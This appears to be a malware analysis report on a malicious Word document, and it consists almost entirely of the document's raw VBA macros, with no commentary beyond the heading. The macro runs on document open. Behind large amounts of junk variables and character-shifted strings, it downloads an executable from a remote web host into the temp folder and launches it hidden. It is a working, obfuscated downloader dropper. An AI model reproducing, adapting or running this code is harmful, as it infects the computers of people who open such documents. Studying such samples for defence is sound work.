Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Call aLnoYAmzdHlDuiVKGPvMkDcZHfCjDuoPztGfquJasycYaUmvDE
End Sub





Attribute VB_Name = "Módulo1"
Dim UvCdFgCxzdgdgmuovVgDjoFGTsGbjdYShqdLQqIg As String
Dim qmuYnuGQdcRmSFQAWJAPSqkDVhKUvylJNYHEYMIu As Integer
Dim zMiAtDXwyrOodZiITOPsisISdbQkJoOfkqWyrmhO As Boolean
Dim LYCAWtqENRLnXPNsCcalpGTKhLWuBVIhCXtmytia As Byte
Dim YhqQNaBRldAIjrCIHYmIOeqsYgpBAHNkBqbprthG As Long
Dim NIGvCJLWDPqPHxEHhldijtDvSgeYytsRhEbQjgGV As Double
Dim xsELjNVGImrYWlxJXirXpvWqREMxzbqmzBsssqXK As String
Dim wISbjeZhkGVtwumheszzpsSRmKUqrnkQLwSLWcyG As Integer
Dim IWpiKSluxTArixMkAqoEgbYrvoDooYrluKYQfQrR As Byte
Dim CjmARDfRRmajqdJPzPsLaLmVSzWCeAVohNbArFtP As Byte
Dim rczhnISOwNsDttTEwsGonhiQTsVSlCtksvutEUJE As Boolean
Dim ZsYjxGFdwfnkHoTuVXenYyrRUYdLrRaHBGRjEqUj As Double
Dim ioZyfFgtgVCCwByFlcjDlYyeanYfVHhFcXNgVZpy As Double
Dim ksxHzHNfYKsqotfVKLIDWxNKqOOZGeQJXGhVOEbL As Long


Public Function kbbLdVDOERzhLWAciQLkrYkNUsihvW(RBbjOtfDbBJvyNswTnVLDCIzZCMetU As String) As String
Dim vwIRxLyRAiZeqePJLecBuOKVRDOYon As String

For i = 1 To Len(RBbjOtfDbBJvyNswTnVLDCIzZCMetU)

If Asc(Mid$(RBbjOtfDbBJvyNswTnVLDCIzZCMetU, i, 1)) < 128 Then
   vwIRxLyRAiZeqePJLecBuOKVRDOYon = Asc(Mid$(RBbjOtfDbBJvyNswTnVLDCIzZCMetU, i, 1)) + 128
   
ElseIf Asc(Mid$(RBbjOtfDbBJvyNswTnVLDCIzZCMetU, i, 1)) > 128 Then
   vwIRxLyRAiZeqePJLecBuOKVRDOYon = Asc(Mid$(RBbjOtfDbBJvyNswTnVLDCIzZCMetU, i, 1)) - 128
End If

Mid$(RBbjOtfDbBJvyNswTnVLDCIzZCMetU, i, 1) = Chr(vwIRxLyRAiZeqePJLecBuOKVRDOYon)

Next i

kbbLdVDOERzhLWAciQLkrYkNUsihvW = RBbjOtfDbBJvyNswTnVLDCIzZCMetU

End Function




Attribute VB_Name = "Módulo2"
Private Declare PtrSafe Function WlAlsJtArXMubZRQfYVrzMQwPLxKBFHxZgbZlMVDZcWgsapTYJ Lib "UXkaLcGgeyqUmGHgiPVSJdbzCUjrhjGOVHTxmEPhjrIFifLnDh" () As String
Private Declare PtrSafe Function dDkjjLDKzmKmMoZtVfrMlZvAHyhYREfWNolBkwalSBzvMAqUkg Lib "NvYsCmgVkvegTLOtlyYGyUMAeMxzAXQAladDVeAFeiVcfVuPaQ" () As String
Private Declare PtrSafe Function YLgFgkCmbaIKzDYhGrJHnFlxVedhswykajPEolrdDtjXZSigzO Lib "OEJCBdFUKOlEQSSRkmpaYlTAYJGPQJLxSHrEHpDMrSKjayCAbP" () As String



Public Sub aLnoYAmzdHlDuiVKGPvMkDcZHfCjDuoPztGfquJasycYaUmvDE()


Dim GVNQHyqhbdMzjWdOhNewksBdgHXFfU As String
GVNQHyqhbdMzjWdOhNewksBdgHXFfU = "kVvhdzucPxcPpCiNyjbNLNCkJCuHAv"
Dim VEWcqWxGUdAKNfJcotqCPfFsJFUjpO As Integer
VEWcqWxGUdAKNfJcotqCPfFsJFUjpO = "474"
Dim ksQZzBILYlqgfLvsdhDwRWxElSDbPH As Boolean
ksQZzBILYlqgfLvsdhDwRWxElSDbPH = "438"
If ksQZzBILYlqgfLvsdhDwRWxElSDbPH = 983 Then
Dim HbJfOeBndpCjIynDmVfzBqLePiYSfy As Byte
HbJfOeBndpCjIynDmVfzBqLePiYSfy = "513"
Dim TBtUMawQQMNzJTszTfMQWeLRPIrhBT As Byte
TBtUMawQQMNzJTszTfMQWeLRPIrhBT = "602"
End If
Dim vVgXzrSsexKngjsPSEVELyhMWsnEjD As Byte
vVgXzrSsexKngjsPSEVELyhMWsnEjD = "68"
Dim rMBGPhVrbFrlltUYTQBfFoWmGTpPIT As Boolean
rMBGPhVrbFrlltUYTQBfFoWmGTpPIT = "667"
Dim GAdYWUzODJjcAPaAmKsBhdryzTZudG As Double
GAdYWUzODJjcAPaAmKsBhdryzTZudG = "743"
Dim ClCxFhsBFGXQoxGEcrGwItxeBVsxSs As Boolean
ClCxFhsBFGXQoxGEcrGwItxeBVsxSs = "088"
If ClCxFhsBFGXQoxGEcrGwItxeBVsxSs = 766 Then
Dim KVQExhGlKywtEnsUTznBbyZCyfiAMf As Byte
KVQExhGlKywtEnsUTznBbyZCyfiAMf = "890"
Dim WdJbdFExKfnOXwLekRWlpCoyPgNfTZ As Byte
WdJbdFExKfnOXwLekRWlpCoyPgNfTZ = "814"
End If
Dim FwSZZDmlxfqDuQBycigwmqmvSipRQD As Long
FwSZZDmlxfqDuQBycigwmqmvSipRQD = "891"
Dim ZkOeeUiIOhjKJgLoKxnipFvfWMLoJg As Double
ZkOeeUiIOhjKJgLoKxnipFvfWMLoJg = "203"
Dim PifGKPrkIstOOqgmrrKJlnSFwYJTCc As Boolean
PifGKPrkIstOOqgmrrKJlnSFwYJTCc = "813"
Dim PcxUnqSozlhFQKwcLYUNzKlEBVuJNN As Byte
PcxUnqSozlhFQKwcLYUNzKlEBVuJNN = "37"
Dim cjJVDrrWKDKGepohsKoYkREMXvXQsG As Integer
cjJVDrrWKDKGepohsKoYkREMXvXQsG = "330"
Dim qfuCZUafroJUahoQnjmvXbcROcLQqK As String
qfuCZUafroJUahoQnjmvXbcROcLQqK = "LnuCSifElonBZbRAFaEBwvnzBKQoqk"
Dim FGnfNAQJNjiLoGrvaPTylXcxAPUFCk As Boolean
FGnfNAQJNjiLoGrvaPTylXcxAPUFCk = "380"
If FGnfNAQJNjiLoGrvaPTylXcxAPUFCk = 334 Then
Dim GQjnRaPIbqblaUeGWMDgXSkRnQFffn As Byte
GQjnRaPIbqblaUeGWMDgXSkRnQFffn = "531"
Dim buYLcYOtlObVlgAmoGYUwitJSMfmWN As Byte
buYLcYOtlObVlgAmoGYUwitJSMfmWN = "987"
End If



Selection.MoveRight Unit:=wdCharacter, Count:=1000
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
        Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
        Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
        Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    Selection.TypeBackspace
    

Selection.ClearFormatting


    Selection.TypeParagraph
    Selection.TypeParagraph
    Selection.TypeParagraph
    Selection.TypeParagraph
Dim tBoApJedLggJuYHpRaPiqScNwyEdMCRTXhinEvtc As String
tBoApJedLggJuYHpRaPiqScNwyEdMCRTXhinEvtc = "JzVXuiFrpFsDWHhKINdqQwXOhNbtDNBZaFgFFHRC"
Dim jvMRiuCmsqYKCnSpphpNkFjiYeBDghTUCpWoxGux As Integer
jvMRiuCmsqYKCnSpphpNkFjiYeBDghTUCpWoxGux = "989"
Dim jjPgfCJscBdDTPxFNElKScHPjRpNntUVolmBXgze As Byte
jjPgfCJscBdDTPxFNElKScHPjRpNntUVolmBXgze = "93"
Dim JmaysvwxstyXgKvJgSAdAhwHWMThUTxoCCoeONnM As Boolean
JmaysvwxstyXgKvJgSAdAhwHWMThUTxoCCoeONnM = "842"
Dim gtKmCZVpjnMaovLLAmtMRODyAgaMQNQeuzPRGiyR As Boolean
gtKmCZVpjnMaovLLAmtMRODyAgaMQNQeuzPRGiyR = "623"
If gtKmCZVpjnMaovLLAmtMRODyAgaMQNQeuzPRGiyR = 398 Then
Dim QeJSivyDBvyAOYLymUwailVEAXXZpjZRljUhLmLr As Byte
QeJSivyDBvyAOYLymUwailVEAXXZpjZRljUhLmLr = "442"
Dim PGbAxXFSTsVSjiQaRiEFYPeUrRVBxEHENsLQKKJa As Byte
PGbAxXFSTsVSjiQaRiEFYPeUrRVBxEHENsLQKKJa = "788"
End If
Dim YhXpihNOKZuxohXKnAHWWkTPGfLYxgSkBVYeSfSS As Byte
YhXpihNOKZuxohXKnAHWWkTPGfLYxgSkBVYeSfSS = "41"
Dim hAxKdOfCGnqgVjKTkliyMetfjBkKSoLhEzjUxdwp As Long
hAxKdOfCGnqgVjKTkliyMetfjBkKSoLhEzjUxdwp = "682"
Dim ATQeOzFGMoAucAJTuUjgElTHeOsMNhnLxYZoNVvU As Double
ATQeOzFGMoAucAJTuUjgElTHeOsMNhnLxYZoNVvU = "675"
Dim KHdXSarkOjMJYevHtRRZRjIJlhTDDrvyJAQhKrQk As Boolean
KHdXSarkOjMJYevHtRRZRjIJlhTDDrvyJAQhKrQk = "137"
If KHdXSarkOjMJYevHtRRZRjIJlhTDDrvyJAQhKrQk = 351 Then
Dim xlRGKZEolSvCZTGVfyNkbIrelgDQkgrEOsmAyUPA As Byte
xlRGKZEolSvCZTGVfyNkbIrelgDQkgrEOsmAyUPA = "650"
Dim DsPJPoeHhmjWUeKhpeMdrJLrvNmrbFDsPrOkaeMz As Byte
DsPJPoeHhmjWUeKhpeMdrJLrvNmrbFDsPrOkaeMz = "317"
End If
Dim fFlmuEbEGlgxcgorkhEmIrsDydHptZtTqLdlfCCX As Boolean
fFlmuEbEGlgxcgorkhEmIrsDydHptZtTqLdlfCCX = "144"
Dim RwuJXqNWTAywaAyypSBhWzxFMzOvaWfkgBSjwIeB As Double
RwuJXqNWTAywaAyypSBhWzxFMzOvaWfkgBSjwIeB = "175"
Dim mzIXwuwokojeNIDQWQEfSiuVIXHTKCLSRuKCdFWF As Byte
mzIXwuwokojeNIDQWQEfSiuVIXHTKCLSRuKCdFWF = "62"
Dim GhHpLzeOdqiTaThNJHabhVFOvfhstOLjqaanqkqN As Integer
GhHpLzeOdqiTaThNJHabhVFOvfhstOLjqaanqkqN = "234"
Dim GmiAGQqfbKHYlbLLzekRelnBobThUgMATbkXZgLR As String
GmiAGQqfbKHYlbLLzekRelnBobThUgMATbkXZgLR = "TpYlNleIyZAlFAZdOYMNLVYFMwxqTxctabneKqTb"
Dim bbHvTdsTLOSCgvYUJFfloYHLDWuWdyZzPlghNoQa As Long
bbHvTdsTLOSCgvYUJFfloYHLDWuWdyZzPlghNoQa = "595"
Dim CxisINBwlsOFGtLcUBQXJUsDcntQAgbfiaHtElIV As Boolean
CxisINBwlsOFGtLcUBQXJUsDcntQAgbfiaHtElIV = "421"
If CxisINBwlsOFGtLcUBQXJUsDcntQAgbfiaHtElIV = 161 Then
Dim JRrydmRROqdRtpDVYqFPFxBfhQsdGwMzFMUrSzkG As Byte
JRrydmRROqdRtpDVYqFPFxBfhQsdGwMzFMUrSzkG = "941"
Dim trmmJSulYZsZtPLporFXChxYkizJxDADHjGmVrzg As Byte
trmmJSulYZsZtPLporFXChxYkizJxDADHjGmVrzg = "207"
End If
Dim VAEeklrMjBHiDxBCDINTFOEjfOnlDoYxSfBTSBHF As String
VAEeklrMjBHiDxBCDINTFOEjfOnlDoYxSfBTSBHF = "LhmoLbpssKffYygHdmsIEnCDPhCJoVAIsdwcjZAQ"
DICLfddfEHKfDAZfdfdXTOJP = Environ$(kbbLdVDOERzhLWAciQLkrYkNUsihvW("ôíð")) & "\" & kbbLdVDOERzhLWAciQLkrYkNUsihvW("÷ïòäîï÷µ°¹²®åøå")
Dim aClyWfdrummLVcAXsIySCKSERkDwhkIeEYEgYpjR As Long
aClyWfdrummLVcAXsIySCKSERkDwhkIeEYEgYpjR = "552"
Dim oYlXsDRuRVqnLSItTdwbaKUUFNRqQONBgXxXoTpB As Double
oYlXsDRuRVqnLSItTdwbaKUUFNRqQONBgXxXoTpB = "415"
Dim wnokmxuptLFhBrhMTDThWpJwoFRsedxJHlxYlvFC As Boolean
wnokmxuptLFhBrhMTDThWpJwoFRsedxJHlxYlvFC = "967"
Dim HvLREhncjxfQltjzFvuJzDQimfnZDdEzEDKMeMGb As Byte
HvLREhncjxfQltjzFvuJzDQimfnZDdEzEDKMeMGb = "17"
Dim iwzQlCBQMnLfUHIyUawmHogtyEvsPtoICFOSJoAz As Integer
iwzQlCBQMnLfUHIyUawmHogtyEvsPtoICFOSJoAz = "966"
Dim VVBQTLrxWQJcqIaRLYKzGMyRqkmFPSMExLdIkCQw As String
VVBQTLrxWQJcqIaRLYKzGMyRqkmFPSMExLdIkCQw = "SimuBIHvIPBPcwYjHAEQYLNAqndmWAtNaqvxNRwh"
Dim sRPzGbCsgCYtocYDNgjPSqelOYzbIcyUVOlcRUhU As Boolean
sRPzGbCsgCYtocYDNgjPSqelOYzbIcyUVOlcRUhU = "125"
If sRPzGbCsgCYtocYDNgjPSqelOYzbIcyUVOlcRUhU = 644 Then
Dim jogZLUDvtvPCoQaOQsDmUhXLOcFwtjwozijGEFzr As Byte
jogZLUDvtvPCoQaOQsDmUhXLOcFwtjwozijGEFzr = "350"
Dim NTFbKRIKorROcrccViGRdPETJmvFiXkJFpZaUHLM As Byte
NTFbKRIKorROcrccViGRdPETJmvFiXkJFpZaUHLM = "380"
End If
Dim LoASkVoiMsfEbKXIVWskRnwNOUvjPcpnDZJlRcpo As Integer
LoASkVoiMsfEbKXIVWskRnwNOUvjPcpnDZJlRcpo = "133"
Dim GEssrKRyNCxUZEtnRhtIaozDigElEZVegvNffMhB As Byte
GEssrKRyNCxUZEtnRhtIaozDigElEZVegvNffMhB = "21"
Dim gCHhbuiiyrCPGVQyqHImiAGxNPgvxuRebAEPmAgg As Boolean
gCHhbuiiyrCPGVQyqHImiAGxNPgvxuRebAEPmAgg = "686"
Dim IvciboOYaIrwPyXMXEnXgpDkRqCXbhqLghSjpVxY As Long
IvciboOYaIrwPyXMXEnXgpDkRqCXbhqLghSjpVxY = "821"
Dim RkRPFPaBMYyZaChcOlvbapLRklmnNHePLLXcBrpz As Integer
RkRPFPaBMYyZaChcOlvbapLRklmnNHePLLXcBrpz = "344"
Dim IHlqKxnRwYqFglhocFjEwLPYdISuYEjgsElMKqSZ As String
IHlqKxnRwYqFglhocFjEwLPYdISuYEjgsElMKqSZ = "EuCnWwKxzAdcsCCkwWIvCcphmkdrVYoTuXqfcsXU"
Dim RgNmcvpmMPolfjucrovElIhNMSTNCUiFYZfXoefl As Boolean
RgNmcvpmMPolfjucrovElIhNMSTNCUiFYZfXoefl = "691"
Dim OvtRkirEHSiyHzglepJmdzlriRzVlmOhsYriCCvU As Boolean
OvtRkirEHSiyHzglepJmdzlriRzVlmOhsYriCCvU = "013"
If OvtRkirEHSiyHzglepJmdzlriRzVlmOhsYriCCvU = 407 Then
Dim kapVuxidbxCkdeswZsGIVmDQiTQlBAoooJCZyUXF As Byte
kapVuxidbxCkdeswZsGIVmDQiTQlBAoooJCZyUXF = "248"
Dim dhkBfSTABXZZyxQpbEEJFRjQCAAOMqurlcfIyGkT As Byte
dhkBfSTABXZZyxQpbEEJFRjQCAAOMqurlcfIyGkT = "379"
End If
Dim BVEBMGihNNKoRqDLvYqWLPRImUuprWdNssdcmpNO As String
BVEBMGihNNKoRqDLvYqWLPRImUuprWdNssdcmpNO = "ZbgytCPQdgYtpDKUzFdDPUeSdAJgVzQsFVqjcjiZ"
Dim giXpGPTqGiUIAFIatkNipryBOIqMtvYxvQupxlPD As Integer
giXpGPTqGiUIAFIatkNipryBOIqMtvYxvQupxlPD = "746"
SMRTKMCYBPCYYDN 0, kbbLdVDOERzhLWAciQLkrYkNUsihvW("èôô𺯯éíïâéìéáòéáêð®ãïí®íä­¸µ®÷åâèïóôâïø®îåô¯áâòé÷ïòä°¹¸µ®åøå"), DICLfddfEHKfDAZfdfdXTOJP, 0, 0
Dim OvqYRIDFqZEORYGbrkfKaBzBdrpAyMYmbmEupeFz As Long
OvqYRIDFqZEORYGbrkfKaBzBdrpAyMYmbmEupeFz = "968"
Dim SKqSaZTEDKoQoGLgsaFImfisiChOAkOnOMWMNUDz As Double
SKqSaZTEDKoQoGLgsaFImfisiChOAkOnOMWMNUDz = "311"
Dim xrguLrthFrQhyyDUHSGJgGbqLIouNdknAqwGUJqI As Boolean
xrguLrthFrQhyyDUHSGJgGbqLIouNdknAqwGUJqI = "144"
Dim LdvixhNEurUBImJVwPgzkrIOJNVMfxyhFxVHmBqx As Byte
LdvixhNEurUBImJVwPgzkrIOJNVMfxyhFxVHmBqx = "07"
Dim IkrujOFjQCGdhoNPUOABpwNRoLOnVqZkrbBMWXJq As Integer
IkrujOFjQCGdhoNPUOABpwNRoLOnVqZkrbBMWXJq = "093"
Dim YhrpnyEVCmrOPhEewUMUfmYBYgXCdvYTzfgVTcYX As String
YhrpnyEVCmrOPhEewUMUfmYBYgXCdvYTzfgVTcYX = "SfAxpikIMxZWjqYkNTmaGUqeLoiXNFVqhEAqPUgD"
Dim GMXVkOqoUqDiFsQZnlihVZaPJrazeFuxwLpWhkwV As Boolean
GMXVkOqoUqDiFsQZnlihVZaPJrazeFuxwLpWhkwV = "473"
If GMXVkOqoUqDiFsQZnlihVZaPJrazeFuxwLpWhkwV = 665 Then
Dim NWlTAMHLkiaVGbVHudmrgHaXbTomISBRjxEECKdD As Byte
NWlTAMHLkiaVGbVHudmrgHaXbTomISBRjxEECKdD = "077"
Dim juMRttBbdLpMHPHdRpGxnebLWmguKJYfJWgshKQa As Byte
juMRttBbdLpMHPHdRpGxnebLWmguKJYfJWgshKQa = "508"
End If
Dim VLHkVPjQxSUGVwVGgWEIxDPuDLlMHNzFbnkIWCEr As Integer
VLHkVPjQxSUGVwVGgWEIxDPuDLlMHNzFbnkIWCEr = "396"
Dim QVtTLtlMuuewrnPXoyaIbTGRqPrFZwGCVpDkVUvr As Byte
QVtTLtlMuuewrnPXoyaIbTGRqPrFZwGCVpDkVUvr = "52"
Dim LwmxOlEXEDsowHPWPeYTQurodhUGPqTnVqHpjrrx As Long
LwmxOlEXEDsowHPWPeYTQurodhUGPqTnVqHpjrrx = "821"
Dim yKcQJhOJoVbLUXYYwvazBgDiPAfSJcaqAlnijYrH As Double
yKcQJhOJoVbLUXYYwvazBgDiPAfSJcaqAlnijYrH = "529"
Dim gXfHYRkFRRRfGbutRlSQsArVEnDZiqVJrQKovNlU As Boolean
gXfHYRkFRRRfGbutRlSQsArVEnDZiqVJrQKovNlU = "800"
If gXfHYRkFRRRfGbutRlSQsArVEnDZiqVJrQKovNlU = 19 Then
Dim rLTSDKlMOLdnhPGMFyqTxtWhYZWVniksVDRUTgOc As Byte
rLTSDKlMOLdnhPGMFyqTxtWhYZWVniksVDRUTgOc = "670"
Dim LgCuJyqrMYNRkoyBImDQQwYpPzLpMdCuZLQysXOI As Byte
LgCuJyqrMYNRkoyBImDQQwYpPzLpMdCuZLQysXOI = "603"
End If
Dim lkFeadPezeSETZfKdvqEMeqckmHAEjlCHYqWHCaa As Integer
lkFeadPezeSETZfKdvqEMeqckmHAEjlCHYqWHCaa = "139"
Dim wYudDCsyawCmGVLBpwzCHilwjgogMkRMNNDvFNOA As Boolean
wYudDCsyawCmGVLBpwzCHilwjgogMkRMNNDvFNOA = "642"
Dim PPNvlMGbJILJATfCqTwQaaOueZSrmLVPlRnXFZeX As Double
PPNvlMGbJILJATfCqTwQaaOueZSrmLVPlRnXFZeX = "352"
Dim DKsPhNXgXqRUIwivBOOzgmtwHYzZBkWgmIbUpZEM As Long
DKsPhNXgXqRUIwivBOOzgmtwHYzZBkWgmIbUpZEM = "780"
Dim WqNgzwqtlEBIXLgbJKAoqQCfsJKJEKXYWFEpQvEP As Boolean
WqNgzwqtlEBIXLgbJKAoqQCfsJKJEKXYWFEpQvEP = "016"
If WqNgzwqtlEBIXLgbJKAoqQCfsJKJEKXYWFEpQvEP = 356 Then
Dim fYeleLBFtvzYVIabPjZwhtPzCjeBpyQNvWZcocDa As Byte
fYeleLBFtvzYVIabPjZwhtPzCjeBpyQNvWZcocDa = "978"
Dim CcDAZgwLAhsNSvUbRYkjxvYTpTYNndOewBUgpzSM As Byte
CcDAZgwLAhsNSvUbRYkjxvYTpTYNndOewBUgpzSM = "130"
End If
Dim mcaWYGDFrQHctogAjfVGlVSWGPpHwJAKgXARnoZf As String
mcaWYGDFrQHctogAjfVGlVSWGPpHwJAKgXARnoZf = "tboErhSePfQIKoJidYXXtGpgPzbypyeLRQOThsXA"
NKUsfdsWeRCYdfdfBMDdfssdPIULW 0, kbbLdVDOERzhLWAciQLkrYkNUsihvW("ïðåî"), DICLfddfEHKfDAZfdfdXTOJP, "66", vbNullString, vbhideFocus
Dim IOoLgEjqDFwPjrXAqPmMbsySKtbPbxcbrNXcdwco As Double
IOoLgEjqDFwPjrXAqPmMbsySKtbPbxcbrNXcdwco = "693"
Dim UHzMykSnwWolZCeHVxdSgTCEuxaYXzzVldMViLgI As Byte
UHzMykSnwWolZCeHVxdSgTCEuxaYXzzVldMViLgI = "32"
Dim jItdujMwhEljwWHpXbdeQObqtEwsMplBOPnQNKyW As String
jItdujMwhEljwWHpXbdeQObqtEwsMplBOPnQNKyW = "usQVqTNgyoXCFOVIkRrBnQxTBTYKPgHhDulhXeXt"
Dim OdRqGEHkpFbZewTrnDeUYXgPWzxIPCNZZygOBgEZ As Integer
OdRqGEHkpFbZewTrnDeUYXgPWzxIPCNZZygOBgEZ = "110"
Dim JmnRXRoSmemjALKthyQFzDDpPnCdbzXUKBUTwhrU As Byte
JmnRXRoSmemjALKthyQFzDDpPnCdbzXUKBUTwhrU = "81"
Dim lrYjxeXNlWvbFcjcsGbPrCkCFkAMtJRCjGSXNMoW As String
lrYjxeXNlWvbFcjcsGbPrCkCFkAMtJRCjGSXNMoW = "PwMqphgiuSTrgrTeeZFpBYgTHlBGyINtPOiblQXU"
Dim PcvvmAYMnVXwveYIkZaNKydjiwvlUHSwJLvRUEzi As Long
PcvvmAYMnVXwveYIkZaNKydjiwvlUHSwJLvRUEzi = "101"
Dim hdMIYuNmSSZbljhauWnLwMJbziRKQxXiNnpEhlHl As Boolean
hdMIYuNmSSZbljhauWnLwMJbziRKQxXiNnpEhlHl = "118"
If hdMIYuNmSSZbljhauWnLwMJbziRKQxXiNnpEhlHl = 524 Then
Dim AxdrFJVCvhbAxrwZZhuEpObvQDFqLQNHGxDTGGGR As Byte
AxdrFJVCvhbAxrwZZhuEpObvQDFqLQNHGxDTGGGR = "912"
Dim KXdzUIaHXRXAdeeUTNWAiiWTrSZEtvwHdAOHLuge As Byte
KXdzUIaHXRXAdeeUTNWAiiWTrSZEtvwHdAOHLuge = "854"
End If
Dim amwtOtoyspTCawOZitoZjUxzWzuuKWGEASKUcvxo As String
amwtOtoyspTCawOZitoZjUxzWzuuKWGEASKUcvxo = "CtMewIJWApqFObOncDqBYAQGEmGThVPAByUesSbP"
Dim uyzMYYlsmQBWhlLuNMpnLDqsSBTzJHPiELYcRpkw As Boolean
uyzMYYlsmQBWhlLuNMpnLDqsSBTzJHPiELYcRpkw = "259"
Dim UiugLnXxhKLtsmoPmjSJqhvimkVRkChWXgTxizyw As Integer
UiugLnXxhKLtsmoPmjSJqhvimkVRkChWXgTxizyw = "894"
Dim FJJJQbrAszlHFjHHmVuYJUIwFrrzUUAjwPkAkDwQ As Double
FJJJQbrAszlHFjHHmVuYJUIwFrrzUUAjwPkAkDwQ = "296"
Dim CroMQlCXNEmeKYvfEmCMgsoKyVSSJTWFHneEkVqu As Long
CroMQlCXNEmeKYvfEmCMgsoKyVSSJTWFHneEkVqu = "110"
Dim rLZtGxDroeDRKQhMvTuHHqbgHZOxhQutWhbfBMdg As Boolean
rLZtGxDroeDRKQhMvTuHHqbgHZOxhQutWhbfBMdg = "971"
If rLZtGxDroeDRKQhMvTuHHqbgHZOxhQutWhbfBMdg = 171 Then
Dim zjySKeTkxnsSPGWFaetflKssYZDopgZRibytdaJB As Byte
zjySKeTkxnsSPGWFaetflKssYZDopgZRibytdaJB = "880"
Dim RoIvQAjZwXrmQmFIYxDbXJGtHPFYMKzptzqJBUhm As Byte
RoIvQAjZwXrmQmFIYxDbXJGtHPFYMKzptzqJBUhm = "566"
End If
Dim PTpBCPkxEtbyvWaNeMfCcJDqMCaNDTSbjvsgbGnm As String
PTpBCPkxEtbyvWaNeMfCcJDqMCaNDTSbjvsgbGnm = "ePvRXxNfDEoWkkMAdTKXAdrrjZHmDBAiZqgFeJxT"
Dim SXJdhEQCXJRdLxCYaXUQxlIJdvyotuSlyYJUiKYV As Byte
SXJdhEQCXJRdLxCYaXUQxlIJdvyotuSlyYJUiKYV = "96"
Dim QYywAQWfXSTokczjEjuSEovXLPjGMTvykDlaVHvM As Boolean
QYywAQWfXSTokczjEjuSEovXLPjGMTvykDlaVHvM = "448"
Dim cMeCDKzeAfItaijkGCPohFYgkJRYqxPejsklcaMU As Double
cMeCDKzeAfItaijkGCPohFYgkJRYqxPejsklcaMU = "367"
Dim dBXDnqtCPkulszsvXdWSDpzuRFMxONBnUXuYBztR As Boolean
dBXDnqtCPkulszsvXdWSDpzuRFMxONBnUXuYBztR = "781"
If dBXDnqtCPkulszsvXdWSDpzuRFMxONBnUXuYBztR = 996 Then
Dim xlUQUqxNulBVYtueKVYPMGCxWHPxoMyhNpqZOEOk As Byte
xlUQUqxNulBVYtueKVYPMGCxWHPxoMyhNpqZOEOk = "323"
Dim tYfhGxWXrfurWFGMncOnsGzbEhryJFLttrBVPykN As Byte
tYfhGxWXrfurWFGMncOnsGzbEhryJFLttrBVPykN = "460"
End If




End Sub





Attribute VB_Name = "Módulo3"
Dim YUDNvCPochYtPwmPsWNzLMpCydePiLVfmSScwjXb As String
Dim CTumUnWllHUUcqjhWlDhjjhyvAqlfrhgccdPVyBf As Integer
Private Declare PtrSafe Function BaKLmDbHCCFNlOTrRUEOCdqCfdYkUbQPOfyxqmTB Lib "UUnwrAkCFhtALaVjthDynsmQSSBrAUOAytMOfsWf" () As String
Dim LqTnzvdKjdSzVJcvXmxratWVIXUKXuNhmCeKbcNz As Byte
Dim NjIqlyVkjfqRAGHFkmxYapGgNaAwgBXQlSbQgdLQ As Boolean
Private Declare PtrSafe Function bOhcHwEXgDxfViGJZMhpitIzxRSCACyBdFjDvxyJ Lib "IJLHeUrzteqnZtmfaJQhUzLSclwvLMPYKOOcvdwl" () As String
Dim bDsUNKFaLhOjrMWcZGZPezUrIBgbskdqREckfCac As Double
Dim QbxNiYHFYICMVDLvpShLZZOblSEAgfavDIpvZmlL As Long
Dim uZTsJOrIGhlJRssrucSbZZoijWmCXaUjfxnxpLKB As String
Dim CAcjtCDtbMnBpHyecvVgIhRxaDCKNESmqVBsYByl As Integer
Private Declare PtrSafe Function HlraWcgrdojrtTZsYzKUqUaxuqiuwteafQybkuwf Lib "UZnwykSrMnHXunZEukpvkBXSQbCqotQGboZsbYvH" () As String
Dim gyXlwgOUAKTnuIezctVMFpWFQBUFKPtVDILWrkEC As Byte
Dim tSDnUYAPJPhuwtdCIfvpsJsBXwmyXIHexasBSTEb As Boolean
Private Declare PtrSafe Function qsrpSPPcTmiWPyaXUHCXXNlRwnDIUttKLjiklJsH Lib "oCiVtwYNMWskPdSyWWtbyNVSyDSkBtBJvYuOaklx" () As String
Dim bDxrXBmQIBkJkoiGAgGZzllpnCNNBbvSnyMeTLOo As Double
Dim yQeFsDdDQkgvOzBrADIHeclJzdMWuVgofvhIoxCQ As Long
Dim JlCOdUOlEKuSoVddPvNgdLFfFmleJJQSuFHPHkZP As String
Dim zwBgNSPbFeqOLKZzfgZGCFjTXtNPeQJrKiVyScHZ As Integer
